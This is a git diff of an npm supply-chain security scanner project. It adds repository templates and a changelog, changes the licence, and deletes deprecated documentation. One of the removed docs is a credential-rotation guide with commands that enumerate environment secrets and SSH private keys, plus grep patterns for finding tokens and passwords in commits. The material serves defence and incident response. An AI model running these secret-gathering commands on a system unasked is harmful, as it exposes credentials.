diff --git a/.cursor/rules/claude-reference.mdc b/.cursor/rules/claude-reference.mdc deleted file mode 100644 index 22884cd..0000000 --- a/.cursor/rules/claude-reference.mdc +++ /dev/null @@ -1,27 +0,0 @@ ---- -description: "Reference CLAUDE.md for comprehensive project development guidelines and standards." -globs: [] -alwaysApply: true ---- - -# Project Guidelines Reference - -Unless [CLAUDE.md](../../CLAUDE.md) is already included in your context, please refer to [CLAUDE.md](../../CLAUDE.md) for comprehensive project guidelines, development standards, and technical documentation. - -## Key Sections in CLAUDE.md - -- **Recent Updates & Bug Fixes**: Track all bug fixes and their solutions -- **Features Added**: New functionality and improvements -- **Architecture**: System design and script relationships -- **Development Guidelines**: Coding standards and best practices -- **Documentation Standards**: How to document scripts and features -- **Testing Requirements**: Test coverage expectations -- **Known Issues**: Outstanding problems and workarounds - -## When Working on This Project - -1. Review CLAUDE.md before making significant changes -2. Update CLAUDE.md when adding features or fixing bugs -3. Follow the pre-commit checklist in CLAUDE.md -4. Maintain consistency with existing patterns documented there -5. Document new findings, bugs, or improvements in the appropriate sections diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..7a82869 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,26 @@ +--- +name: Bug report +about: Report a bug or unexpected behavior +title: '' +labels: bug +assignees: '' +--- + +**Describe the bug** +A clear description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: +1. Run command '...' +2. See error + +**Expected behavior** +What you expected to happen. + +**Environment** +- OS: [e.g., macOS 14, Ubuntu 22.04] +- Shell: [e.g., bash 5.2, zsh 5.9] +- jq version: [e.g., 1.7] + +**Additional context** +Any other relevant information. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 0000000..be374fe --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,19 @@ +--- +name: Feature request +about: Suggest a new feature or enhancement +title: '' +labels: enhancement +assignees: '' +--- + +**Problem** +What problem does this feature solve? + +**Proposed solution** +How would you like it to work? + +**Alternatives considered** +Other approaches you've thought about. + +**Additional context** +Any other relevant information. diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 0000000..06d45cc --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,18 @@ +## Summary + +Brief description of changes. + +## Changes + +- Change 1 +- Change 2 + +## Testing + +How were these changes tested? + +## Checklist + +- [ ] Scripts work from any directory +- [ ] Documentation updated (if applicable) +- [ ] No hardcoded paths or credentials diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..b0a5faa --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,19 @@ +name: Release + +on: + push: + tags: + - 'v*' + +jobs: + release: + runs-on: ubuntu-latest + permissions: + contents: write + steps: + - uses: actions/checkout@v4 + + - name: Create Release + uses: softprops/action-gh-release@v1 + with: + generate_release_notes: true diff --git a/.gitignore b/.gitignore index ade4dc1..b4ede77 100644 --- a/.gitignore +++ b/.gitignore @@ -30,6 +30,7 @@ npm-install-log.json # IDE files .vscode/ .idea/ +.cursor/ *.sublime-project *.sublime-workspace diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..ab025fb --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,23 @@ +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). + +## [Unreleased] + +### Added + +- Unified CLI entry point (`npm-scanner.sh`) with `scan` and `validate` commands +- Project and package scanning with risk assessment +- Pre-installation package validation with typosquatting detection +- Shared caching library for npm API responses +- HTML and JSON report generation +- Scheduled audit capabilities with alerting +- Credential rotation guidance for incident response +- Comprehensive documentation + +### Security + +- Zero npm dependencies policy to prevent supply chain attacks +- All scripts use bash and system tools only diff --git a/CLAUDE.md b/CLAUDE.md index 86de649..0c579fb 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -29,19 +29,13 @@ Security toolkit protecting Node.js developers from npm supply chain attacks (Ph - **generate-summary-report.sh** - Report aggregation - **npmrc-security-config.sh** - Secure configuration template -### Deprecated - -- **deprecated/recursive-audit-script.sh** - Replaced by `npm-scanner.sh scan --project` -- **deprecated/package-validator.js** - Replaced by `package-validator.sh` -- **deprecated/npm-install-monitor.js** - Not integrated, limited value over scan commands - ## Constraints ### Documentation Sync - ALWAYS update the corresponding `docs/` file when modifying any script - NEVER commit script changes without corresponding documentation updates -- WHEN adding new features that affect architecture, update `docs/overview.md` +- WHEN adding new features that affect architecture, update `docs/contributors/reference/architecture.md` - WHEN adding new command-line options, update the script's documentation file ### Code Quality @@ -71,10 +65,9 @@ Security toolkit protecting Node.js developers from npm supply chain attacks (Ph - `docs/` - Script documentation and reference materials - `templates/` - Report templates (common, packages, projects) - `reports/` - Output directory for scan results -- `deprecated/` - Scripts replaced by newer unified tools ## References -- Script documentation: `docs/` -- Development guide: `docs/development-guide.md` -- Integration examples: `docs/integration-guidelines.md` +- Documentation: `docs/README.md` +- Contributing: `docs/contributors/how-to/contributing.md` +- CI/CD integration: `docs/users/how-to/integrate-with-ci.md` diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..ede389b --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,7 @@ +# No Code of Conduct + +We are all adults. We accept anyone's contributions. Nothing combative or disrespectful will be tolerated. + +--- + +[NCoC](https://github.com/domgetter/NCoC) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..7c6b0ab --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,29 @@ +# Contributing to npm-scanner + +Thanks for your interest in contributing! + +## Quick Start + +1. Fork and clone the repository +2. Create a branch: `git checkout -b -` +3. Make your changes +4. Run `shellcheck scripts/*.sh npm-scanner.sh` +5. Test your changes +6. Submit a PR + +## Full Guide + +See [docs/contributors/how-to/contributing.md](docs/contributors/how-to/contributing.md) for detailed instructions including: + +- Development environment setup +- Testing procedures +- How to add new IOCs and typosquatting targets +- Documentation requirements + +## Code of Conduct + +This project follows the [No Code of Conduct](CODE_OF_CONDUCT.md). + +## Questions? + +Open an issue or start a discussion. diff --git a/LICENSE b/LICENSE index fdddb29..cf29a8e 100644 --- a/LICENSE +++ b/LICENSE @@ -1,24 +1,15 @@ -This is free and unencumbered software released into the public domain. +ISC License -Anyone is free to copy, modify, publish, use, compile, sell, or -distribute this software, either in source code form or as a compiled -binary, for any purpose, commercial or non-commercial, and by any -means. +Copyright (c) 2025 -In jurisdictions that recognize copyright laws, the author or authors -of this software dedicate any and all copyright interest in the -software to the public domain. We make this dedication for the benefit -of the public at large and to the detriment of our heirs and -successors. We intend this dedication to be an overt act of -relinquishment in perpetuity of all present and future rights to this -software under copyright law. +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted, provided that the above +copyright notice and this permission notice appear in all copies. -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR -OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, -ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -OTHER DEALINGS IN THE SOFTWARE. - -For more information, please refer to +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH +REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, +INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM +LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR +OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THIS SOFTWARE. diff --git a/README.md b/README.md index e2d9774..941639b 100644 --- a/README.md +++ b/README.md @@ -1,23 +1,19 @@ # npm-scanner -Security toolkit protecting Node.js developers from npm supply chain attacks. +[![CI](https://github.com/virtualian/npm-scanner/actions/workflows/ci.yml/badge.svg)](https://github.com/virtualian/npm-scanner/actions/workflows/ci.yml) +[![License: ISC](https://img.shields.io/badge/license-ISC-blue.svg)](LICENSE) +[![Version](https://img.shields.io/badge/version-1.1.0-green.svg)](VERSION) -## What This Is +Security auditing toolkit for detecting npm supply chain attacks. Detects threats that `npm audit` misses—URL dependencies (PhantomRaven-style attacks), malicious lifecycle scripts, typosquatting, and suspicious package metadata. -npm-scanner detects supply chain attacks that `npm audit` misses: - -- **URL dependencies** - Packages fetched from HTTP URLs instead of the registry (PhantomRaven attack) -- **Malicious lifecycle scripts** - Code that runs automatically during `npm install` -- **Typosquatting** - Packages with names similar to popular packages -- **Suspicious metadata** - New packages, single maintainers, low downloads - -It complements `npm audit` (which checks for known CVEs) by catching attacks that haven't been reported yet. - -See [How It Works](docs/how-it-works.md) for details. +Zero npm dependencies by design: a security tool that depends on npm packages would be vulnerable to the same attacks it's trying to detect. ## Quick Start ```bash +git clone https://github.com/virtualian/npm-scanner.git +cd npm-scanner + # Scan globally installed packages ./npm-scanner.sh scan --global @@ -28,73 +24,15 @@ See [How It Works](docs/how-it-works.md) for details. ./npm-scanner.sh validate lodash ``` -## Commands - -### scan - -Scan installed packages or project dependencies. - -```bash -./npm-scanner.sh scan --global # Global packages -./npm-scanner.sh scan --local ~/projects # node_modules directories -./npm-scanner.sh scan --project ~/code # Project package.json files -./npm-scanner.sh scan --project -n 10 ~/code # Limit to 10 packages -``` - -### validate - -Check a package before installation. - -```bash -./npm-scanner.sh validate -``` - -## Reports - -Scan results are saved to `reports/packages-TIMESTAMP/`: - -``` -reports/packages-2025-01-15-10h30m00s+0000-UTC/ -├── audit-report.md # Summary with findings -├── .work-files/ -│ └── maintainer-data.tsv # Maintainer analytics -└── node--*.md # Per-package details -``` - -## If Issues Found - -**HTTP Dependencies (CRITICAL):** -1. Do NOT run `npm install` -2. Remove the suspicious package -3. Run `scripts/credential-rotation-script.sh` -4. Report to npm: security@npmjs.com - -**Lifecycle Scripts (WARNING):** -Review if the package is new, has low downloads, or is single-maintainer. - ## Documentation -- [Full Documentation](docs/README.md) -- [Security Indicators](docs/security-indicators.md) -- [Integration Guidelines](docs/integration-guidelines.md) - -## Additional Tools - -Located in `scripts/`: - -| Script | Purpose | -|--------|---------| -| `credential-rotation-script.sh` | Post-compromise incident response | -| `npm-install-monitor.js` | Network monitoring during install | -| `scheduled-audit-script.sh` | Automated scheduled scanning | -| `npmrc-security-config.sh` | Secure npm configuration | +Full documentation: **[virtualian.github.io/npm-scanner](https://virtualian.github.io/npm-scanner)** ## Requirements -- Bash +- Bash, jq, curl - Node.js (no npm dependencies) -- jq, curl (system tools) ## License -See LICENSE file. +ISC diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..6eed27c --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,24 @@ +# Security Policy + +## Reporting a Vulnerability + +If you discover a security vulnerability in npm-scanner, please report it by opening a GitHub issue. + +For sensitive issues that shouldn't be publicly disclosed, contact the maintainers directly through GitHub. + +## Scope + +npm-scanner is a security auditing tool that analyzes npm packages. The tool itself: + +- Runs locally on your machine +- Does not collect or transmit data +- Has no external dependencies (zero npm packages) +- Uses only system tools (bash, curl, jq) + +## Security Considerations + +When using npm-scanner: + +- Review flagged packages before installation +- Keep your local tools (curl, jq, bash) updated +- Run scans in isolated environments when analyzing untrusted packages diff --git a/deprecated/docs-v1/appendix.md b/deprecated/docs-v1/appendix.md deleted file mode 100644 index 05b337a..0000000 --- a/deprecated/docs-v1/appendix.md +++ /dev/null @@ -1,165 +0,0 @@ -# Appendix - -## Known Limitations - -1. **Platform Support** - - `npm-install-monitor.js`: Unix/Linux/macOS only (lsof dependency) - - Windows support limited to URL analysis - -2. **Package Ecosystems** - - npm/Node.js only - - Does not cover: yarn berry, pnpm workspaces edge cases - -3. **Detection Methods** - - Static analysis only (no runtime behavior analysis) - - Cannot detect time-bombs or conditional malware - -4. **False Positives** - - Single maintainer: Often legitimate for small packages - - Lifecycle scripts: Required by many legitimate packages (node-gyp, etc.) - - New packages: All packages are new at some point - -5. **Performance** - - Sequential scanning can be slow for large monorepos - - Network monitoring adds overhead during installation - -## Best Practices - -1. **Layered Defense** - - Use multiple tools in combination - - Pre-install validation + post-install auditing - -2. **Regular Scanning** - - Weekly scheduled audits minimum - - On every dependency update - -3. **Team Education** - - Train on supply chain risks - - Review audit reports together - -4. **Configuration Management** - - Use secure `.npmrc` in all projects - - Enforce via pre-commit hooks - -5. **Incident Response** - - Have credential rotation plan ready - - Regular backup of credentials - -## Troubleshooting - -### Issue: "jq: command not found" - -**Solution:** -```bash -# macOS -brew install jq - -# Ubuntu/Debian -sudo apt-get install jq - -# CentOS/RHEL -sudo yum install jq -``` - -### Issue: "lsof: command not found" - -**Solution:** -```bash -# Usually pre-installed on Unix systems -# Ubuntu/Debian -sudo apt-get install lsof -``` - -### Issue: Cache Permission Errors - -**Solution:** -```bash -# Clear cache -rm -rf /tmp/.npm-audit-cache/ - -# Or change location -export TMPDIR=$HOME/.tmp -mkdir -p $TMPDIR -``` - -### Issue: "Cannot fetch info for package" - -**Causes:** -- Network connectivity issues -- npm registry rate limiting -- Private/scoped packages without access - -**Solution:** -- Check network connection -- Authenticate with `npm login` -- Wait and retry (rate limiting) - -## Advanced Configuration - -### Network Firewall Rules - -For production environments, restrict npm to registry only: - -```bash -# Example iptables rules (Linux) -iptables -A OUTPUT -p tcp -d registry.npmjs.org --dport 443 -j ACCEPT -iptables -A OUTPUT -p tcp --dport 443 -j DROP -``` - -### Docker Security - -```dockerfile -# Secure Dockerfile for Node.js projects -FROM node:18-alpine - -# Create non-root user -RUN addgroup -g 1001 -S nodejs -RUN adduser -S nodejs -u 1001 - -# Copy secure .npmrc -COPY .npmrc /home/nodejs/.npmrc - -# Switch to non-root user -USER nodejs - -# Rest of your Dockerfile... -``` - -## Maintenance Schedule - -### Daily -- [ ] Review any new package installations -- [ ] Check for security advisories - -### Weekly -- [ ] Run security audit on all projects -- [ ] Review credential usage logs -- [ ] Update security tools - -### Monthly -- [ ] Rotate service account tokens -- [ ] Review and update dependencies -- [ ] Team security training review -- [ ] Incident response plan review - -### Quarterly -- [ ] Rotate personal access tokens -- [ ] Full security assessment -- [ ] Update security procedures -- [ ] Team security training - -## Team Training - -Key points to communicate to your team: - -1. **Never trust AI package recommendations blindly** -2. **Always validate packages before installing** -3. **Watch for HTTP URLs in dependencies** -4. **Report suspicious packages immediately** -5. **Keep credentials secure and rotated** -6. **Use the provided security tools consistently** - ---- - -[← Back to Integration Guidelines](integration-guidelines.md) | [↑ Back to Overview](overview.md) - diff --git a/deprecated/docs-v1/audit-installed-packages.md b/deprecated/docs-v1/audit-installed-packages.md deleted file mode 100644 index 4eb4e18..0000000 --- a/deprecated/docs-v1/audit-installed-packages.md +++ /dev/null @@ -1,136 +0,0 @@ -# audit-installed-packages.sh - -**Type:** Unified Package Scanner -**Language:** Bash -**Dependencies:** `npm-security-audit.sh`, `npm`, `jq` - ---- - -## Purpose - -Run the full security audit (`npm-security-audit.sh`) against every package discovered in global installs, local `node_modules` trees, or dependency graphs declared in project `package.json` files. The script produces one Markdown report per package plus a consolidated summary report in the output directory. - ---- - -## Functionality - -### Global mode (`-g`) -- Scans the directory returned by `npm root -g` -- Pre-counts available packages so progress displays as `[current/total]` -- Respects `-d/--depth` for discovering nested dependencies (default 10) -- Obeys `-n/--limit`; in global mode the limit caps the total number of packages scanned -- Confirmation prompt summarises scope; suppressed with `--yes` - -### Local mode (`-l`) -- Recursively discovers every `node_modules` directory underneath the supplied path -- Pre-counts package totals per directory to drive progress output and confirmation prompts -- Applies limits per directory (`limit ÷ directories`) so each project receives an even share when `-n` is used -- Deduplicates packages by absolute path to avoid scanning shared dependencies multiple times - -### Project mode (`-p`) -- Walks dependency trees defined in `package.json` files (including transitive dependencies) -- Distributes an optional limit evenly across projects (remainder goes to the first `r` projects) -- Provides real-time progress as `[1]`, `[2]`, … within each project while maintaining a global counter -- Automatically skips duplicates so a package shared by multiple projects is only scanned once - -### Shared behaviour -- Per-package reports are written as `node--.md` so multiple versions of the same package never collide -- Confirmation prompts describe the scope and node dependency depth; pass `--yes` to skip them for unattended runs -- Every package audit runs with a 30s timeout (`gtimeout`/`timeout --foreground`) to prevent hung audits from blocking progress -- Maintainer metadata is aggregated into `.work-files/maintainer-data.tsv` for downstream analytics - -### Progress and context -- Before scanning begins, shows what checks will be performed (malicious domains, IPs, attacker patterns, typosquatting targets) -- Progress displays as `[current/total]` for each project/directory being scanned -- After scan completes, displays a summary block showing: - - Scan mode (global/local/project) - - Path that was scanned - - Node dependency depth used - - Scan duration - - Package counts: available, scanned, and skipped (with explanation) -- Offers to open the report when scan completes (skipped in `--yes` mode) - -### Empty results handling -- When `--local` finds no `node_modules` directories, displays a warning with possible causes: - - No packages installed in the directory - - Dependencies not yet installed (suggests running `npm install`) - - Path doesn't contain Node.js projects - ---- - -## Input Parameters - -```bash -Options: - -g, --global Audit globally installed packages - -l, --local Audit all node_modules directories under PATH (recursive) - -p, --project Audit packages declared in package.json files under PATH - -d, --depth N Maximum discovery depth for node_modules (default: 10) - -e, --exclude DIR Exclude additional directories (repeatable, project mode) - --parallel Parallel project audits (experimental) - -s, --summary Summary output mode for project audits - -Common Options: - -o, --output DIR Output directory (default: `reports/packages-`) - -n, --limit N Limit total packages (0 = no limit) - • Global mode: hard cap on packages scanned - • Local mode: evenly distributed per node_modules directory - • Project mode: evenly distributed per project - -r, --random Randomise project/directory order when limits apply - -v, --verbose Show detailed IOC checks during scan - --yes Skip confirmation prompts - -h, --help Show usage - -Arguments: - PATH Path to scan (required for --local/--project, defaults to current directory) -``` - ---- - -## Output - -### Directory structure -``` -reports/packages-YYYY-MM-DD-HHhMMmSSs+OFFSET-TZ/ -├── audit-report.md -├── .work-files/ -│ └── maintainer-data.tsv -├── node-express-3fa2c1ab.md -├── node-@types_yaml-6bf49010.md -└── … -``` - -### Per-package report (`node--.md`) -- Header with timestamp, risk score (`Risk X/100 (Level)`), source project path, and absolute package path -- Findings table summarising HTTP URL dependencies, lifecycle scripts, recent creation, fetch warnings, and maintainer status -- Bullet list of detailed findings (only present when indicators fire) -- Maintainer roster when available - -### Summary report (`audit-report.md`) -- Metadata table covering scan type, path scanned, selection strategy, unique packages scanned, and scope -- Quick counts for HTTP URLs, lifecycle scripts, recently created packages, fetch issues, and solo maintainers -- Maintainer concentration tables plus "Maintainers to Review" roll-up when risk indicators trigger -- Grouped package tables (for local/project modes) showing risk scores and indicator flags per source path - ---- - -## Performance & Behaviour -- Average 1–2 seconds per package (timeout ensures upper bound) -- Deduplication keeps re-used packages from being re-scanned -- Confirmation prompts document node dependency depth for auditing traceability -- Passing `--yes` makes the command non-interactive for CI/CD - ---- - -## Examples -1. **Audit global packages:** `./audit-installed-packages.sh -g` -2. **Audit all local projects:** `./audit-installed-packages.sh -l ~/projects` -3. **Project-mode scan with limit:** `./audit-installed-packages.sh -p ~/projects -n 30` -4. **Random sample of global packages:** `./audit-installed-packages.sh -g -n 20 -r` -5. **Local scan with shallow depth:** `./audit-installed-packages.sh -l -d 3` -6. **Skip confirmation in CI:** `./audit-installed-packages.sh -p ~/repos --yes -n 50` - ---- - -[← Back to npm-security-audit.sh](npm-security-audit.md) | [Next: scheduled-audit-script.sh →](scheduled-audit-script.md) - diff --git a/deprecated/docs-v1/credential-rotation-script.md b/deprecated/docs-v1/credential-rotation-script.md deleted file mode 100644 index 8fbe21e..0000000 --- a/deprecated/docs-v1/credential-rotation-script.md +++ /dev/null @@ -1,228 +0,0 @@ -# credential-rotation-script.sh - -**Type:** Incident Response Tool -**Language:** Bash -**Dependencies:** None (interactive guide) - ---- - -## Purpose - -Interactive guided workflow for credential rotation and security hardening following a suspected compromise. Provides step-by-step instructions for rotating credentials across multiple services. - -## Functionality - -### 7.1 Credential Discovery - -**7.1.1 NPM Credentials** - -**Files Checked:** -- `$HOME/.npmrc` -- `./.npmrc` (project-local) - -**Action Required:** Rotate NPM tokens - -**7.1.2 Git Credentials** - -**Files Checked:** -- `$HOME/.gitconfig` -- `$HOME/.git-credentials` - -**Action Required:** Rotate Git/GitHub tokens - -**7.1.3 Environment Variables** - -**Command:** -```bash -env | grep -i "token\|secret\|key\|password" -``` - -**Purpose:** Detect credentials in environment - -**7.1.4 SSH Keys** - -**Command:** -```bash -find "$HOME/.ssh" -name "id_*" -o -name "*.pem" -``` - -**Purpose:** Inventory SSH keys for rotation consideration - -### 7.2 NPM Token Rotation - -**Guided Steps:** - -1. **List Current Tokens** - ```bash - npm token list - ``` - -2. **Revoke Compromised Tokens** - ```bash - npm token revoke - ``` - -3. **Create New Token** - ```bash - npm token create - ``` - -4. **Update Configuration** - - Edit `.npmrc` - - Add: `//registry.npmjs.org/:_authToken=NEW_TOKEN` - - Warning: DO NOT commit - -**Interactive:** Waits for user confirmation before proceeding - -### 7.3 GitHub Token Rotation - -**Guided Steps:** - -1. **Web Interface:** `https://github.com/settings/tokens` -2. **Revoke** suspicious/old tokens -3. **Create** new Personal Access Tokens (minimal scopes) -4. **Update** git credential helper - -**GitHub Actions:** -- Navigate to: Repository Settings → Secrets → Actions -- Update: `GITHUB_TOKEN`, `NPM_TOKEN`, etc. - -### 7.4 CI/CD Platform Instructions - -**Platforms Covered:** -- GitHub Actions -- GitLab CI -- CircleCI -- Jenkins -- Travis CI - -**For Each:** -- Location of secrets/variables -- Rotation instructions -- Best practices - -### 7.5 SSH Key Rotation - -**Guided Steps:** - -1. **Generate New Key** - ```bash - ssh-keygen -t ed25519 -C "email@example.com" - ``` - -2. **Add to SSH Agent** - ```bash - eval "$(ssh-agent -s)" - ssh-add ~/.ssh/id_ed25519 - ``` - -3. **Deploy Public Key** - ```bash - cat ~/.ssh/id_ed25519.pub - ``` - -4. **Remove Old Keys** from service providers - -### 7.6 Security Hardening - -**7.6.1 Secure .npmrc Creation** - -If `~/.npmrc` doesn't exist: -```bash -cat > "$HOME/.npmrc" << 'EOF' -ignore-scripts=true -registry=https://registry.npmjs.org/ -strict-ssl=true -audit=true -audit-level=high -save-exact=true -EOF -``` - -**7.6.2 Pre-Commit Hook** - -**File:** `.git/hooks/pre-commit` - -**Functionality:** -- Detects potential secrets in staged files -- Searches for: token, secret, password, api_key, private_key -- Interactive confirmation before committing - -**Implementation:** -```bash -if git diff --cached --name-only | xargs grep -l -E "(token|secret|...)" 2>/dev/null; then - echo "⚠️ Warning: Potential secrets detected!" - read -p "Do you want to proceed? (yes/no) " confirm - if [ "$confirm" != "yes" ]; then - exit 1 - fi -fi -``` - -**7.6.3 Credential Checker Script** - -**File:** `check-credentials.sh` - -**Purpose:** Scan git history for credential leaks - -**Implementation:** -```bash -git log --all --full-history --source --pretty=format: \ - -S "token\|password\|secret\|api_key\|private_key" | head -20 -``` - -### 7.7 Final Recommendations - -**Checklist:** -- ✓ Review git history for unauthorized commits -- ✓ Check GitHub SSH keys -- ✓ Enable 2FA on all services -- ✓ Monitor for suspicious activity -- ✓ Install security tools (Snyk, Socket) -- ✓ Set up regular security audits - -**Links Provided:** -- GitHub security settings -- NPM profile settings -- Audit log locations - -## Input Parameters - -```bash -Usage: ./credential-rotation-script.sh - -# No parameters - fully interactive -``` - -## Output Format - -**Interactive Mode:** -- Step-by-step prompts -- Press Enter to continue -- Color-coded warnings and confirmations - -**Files Created:** -- `~/.npmrc`: Secure configuration (if missing) -- `.git/hooks/pre-commit`: Secret detection hook -- `check-credentials.sh`: History checker script - -## Performance Characteristics - -- **Execution Time:** User-dependent (interactive) -- **System Impact:** Minimal (mainly informational) - -## Use Cases - -1. **Post-Compromise:** Immediate response to detected compromise -2. **Preventive:** Regular security hygiene -3. **Onboarding:** New team member security setup - ---- - -[← Back to npm-install-monitor.js](npm-install-monitor.md) | [Next: generate-summary-report.sh →](generate-summary-report.md) - - - - - - diff --git a/deprecated/docs-v1/development-guide.md b/deprecated/docs-v1/development-guide.md deleted file mode 100644 index f455df4..0000000 --- a/deprecated/docs-v1/development-guide.md +++ /dev/null @@ -1,223 +0,0 @@ -# Development Guide - -Technical reference for developing and debugging the npm-scanner toolkit. - -## Technical Details - -### Caching Implementation - -```bash -# Cache directory -CACHE_DIR="${TMPDIR:-/tmp}/.npm-audit-cache" - -# Cache file format -cache_file="$CACHE_DIR/$(echo "$pkg" | sed 's/\//_/g').json" - -# Cache validity: 24 hours -if [ -f "$cache_file" ] && [ $(($(date +%s) - $(stat -f %m "$cache_file"))) -lt 86400 ]; then - # Use cached data -fi -``` - -### Process Substitution Pattern - -```bash -# WRONG (creates subshell, variables don't update): -eval $FIND_CMD | while IFS= read -r package_json; do - audit_project "$package_json" -done - -# CORRECT (no subshell): -while IFS= read -r package_json; do - audit_project "$package_json" -done < <(eval $FIND_CMD) -``` - -### Absolute Path Resolution - -```bash -# WRONG (relative path fails when run from different directory): -AUDIT_SCRIPT_PATH="$(dirname "$0")/npm-security-audit.sh" - -# CORRECT (absolute path): -SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" -AUDIT_SCRIPT_PATH="$SCRIPT_DIR/npm-security-audit.sh" -``` - -## Execution Modes - -### Default Mode -- Foreground execution -- Serial (one project at a time) -- Full verbose output -- Prints project names with decorative banners - -### Summary Mode (`-s`) -- One-line status per project -- 3-5x faster than verbose -- Good for quick checks - -### Parallel Mode (`-p`) -- Multiple projects concurrently -- 2-3x faster than serial -- Output may be interleaved - -### Background Mode -- Use `nohup` or `&` -- Redirect output to log file -- Good for long-running scans - -## Performance Characteristics - -### Scan Times (72 projects, depth 5) -- First run (no cache): ~3 minutes -- Subsequent runs (with cache): ~30 seconds -- Summary mode: ~45 seconds -- Parallel mode: ~1.5 minutes - -### Cache Statistics -- Typical cache size: 150-200 packages -- Cache hit rate: 80-95% on repeated scans -- Cache storage: ~10-50KB per package - -## Testing Results - -### Test Scan: /Volumes/Dev24/GitHub -- Projects found: 72 -- Clean projects: 72 -- Suspicious: 0 -- Failed: 0 -- Duration: 3m 2s -- Cache entries: 179 packages - -### Findings -- Single-maintainer packages: 55 unique -- Lifecycle scripts: 13 unique packages -- No security threats detected - -## Known Limitations - -1. **MacOS Specific** - - Uses `stat -f %m` for file modification time - - Would need `stat -c %Y` for Linux - -2. **Cache Invalidation** - - 24-hour expiry only - - No manual cache clear command (must delete directory) - -3. **Report Aggregation** - - Requires full output log for aggregated findings - - Summary mode doesn't capture enough data - -4. **Parallel Mode** - - Output can be difficult to read - - Not recommended for detailed analysis - -## Future Enhancements - -1. Cache management commands (clear, stats, validate) -2. JSON output format option -3. Configurable cache expiry -4. Progress bar for long scans -5. Email alerting built into recursive script -6. Database storage for scan history -7. Web dashboard for viewing results - -## Development Commands - -### Test Single Project -```bash -cd /path/to/project -/path/to/npm-security-audit.sh -``` - -### Test Recursive Scan -```bash -export TMPDIR="/tmp" -./npm-scanner.sh scan --project -d 2 /test/directory -``` - -### Generate Report from Log -```bash -./generate-summary-report.sh /tmp/audit.log output.txt -``` - -### Clear Cache -```bash -rm -rf /tmp/.npm-audit-cache/ -``` - -### Check Cache Size -```bash -ls /tmp/.npm-audit-cache/ | wc -l -du -sh /tmp/.npm-audit-cache/ -``` - -## Debugging Tips - -1. **Script not finding audit script** - - Check AUDIT_SCRIPT_PATH is absolute - - Verify file exists and is executable - -2. **Counts showing as 0** - - Check for pipe-based subshells - - Use process substitution instead - -3. **Slow performance** - - Ensure TMPDIR is set - - Check cache directory exists and is writable - - Use summary mode for quick scans - -4. **No aggregated findings in report** - - Must use logging: `2>&1 | tee log.txt` - - Or use `-l` option - - Summary mode doesn't capture details needed - -## Command Reference - -### Quick Commands -```bash -# Fast check -./npm-scanner.sh scan --project -s -d 3 ~/projects - -# Standard scan with logging -export TMPDIR="/tmp" -./npm-scanner.sh scan --project ~/projects 2>&1 | tee audit.log - -# Deep scan overnight -nohup ./npm-scanner.sh scan --project -d 10 /all/repos > scan.log 2>&1 & - -# Monitor progress -tail -f scan.log | grep "Auditing:" -grep -c "No obvious threats" scan.log -``` - -## Integration Examples - -### Pre-commit Hook -```bash -#!/bin/bash -if [ -f "package.json" ]; then - /path/to/npm-security-audit.sh || exit 1 -fi -``` - -### CI/CD Pipeline -```yaml -- name: NPM Security Audit - run: | - export TMPDIR="/tmp" - ./npm-scanner.sh scan --project -s -p -d 4 . || exit 1 -``` - -### Cron Job -```cron -0 2 * * 1 export TMPDIR="/tmp" && /path/to/npm-scanner.sh scan --project ~/projects > ~/audit-$(date +\%Y\%m\%d).log 2>&1 -``` - -## Maintenance Notes - -- Cache directory should be cleaned periodically (handled by 24h expiry) -- Check for script updates regularly -- Review aggregated findings for new patterns -- Update known malicious domains list as needed diff --git a/deprecated/docs-v1/generate-summary-report.md b/deprecated/docs-v1/generate-summary-report.md deleted file mode 100644 index ab2cd8a..0000000 --- a/deprecated/docs-v1/generate-summary-report.md +++ /dev/null @@ -1,249 +0,0 @@ -# generate-summary-report.sh - -**Type:** Report Aggregation Tool -**Language:** Bash -**Dependencies:** grep, sed - ---- - -## 